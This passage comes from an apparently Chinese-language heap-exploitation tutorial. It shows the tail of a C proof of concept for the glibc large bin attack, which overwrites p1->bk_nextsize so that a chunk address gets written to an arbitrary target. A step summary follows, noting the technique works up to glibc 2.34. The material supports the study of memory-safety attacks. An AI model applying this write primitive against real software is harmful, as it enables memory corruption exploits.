printf("Free the smaller of the two --> [p2] (%p)\n",p2-2);
printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2);
printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);

printf("\n");

p1[3] = (size_t)((&target)-4);
printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);

printf("\n");

size_t *g4 = malloc(0x438);
printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2);
printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n");
printf(" the modified p1->bk_nextsize does not trigger any error\n");
printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd->nexsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);

printf("\n");

printf("In out case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target);
printf("Target (%p) : %p\n",&target,(size_t*)target);

printf("\n");
printf("====================================================================\n\n");

assert((size_t)(p2-2) == target);

return 0;
}

构造手法总结如下:

  • ptr1 比 ptr2 大,申请了 ptr1 后将其 free。
  • 让 ptr1 进入 large bin。
  • free 掉 ptr2,将 ptr1 的 bk_nextsize 改为 target-0x20 的地址。
  • 让 ptr2 进入 large bin。

最终,target 上写入 ptr2 的地址。

注:最终触发攻击时不一定需要申请一块 ptr2 大的堆块,只要申请堆块时,分配空间的是 ptr2,即可完成攻击。

至此,从 glibc-2.23到最新的glibc-2.34仍然可以使用的large bin attack 全部学习完毕了,至于如何巧妙地运用这个攻击,就要看实战了。

来源:

主要:https://ray-cp.github.io/archivers/ptmalloc_argebin_attack

https://blog.csdn.net/qq_23066945/article/details/103070322

https://blog.csdn.net/easy_level1/article/details/117445936#t4

查看评论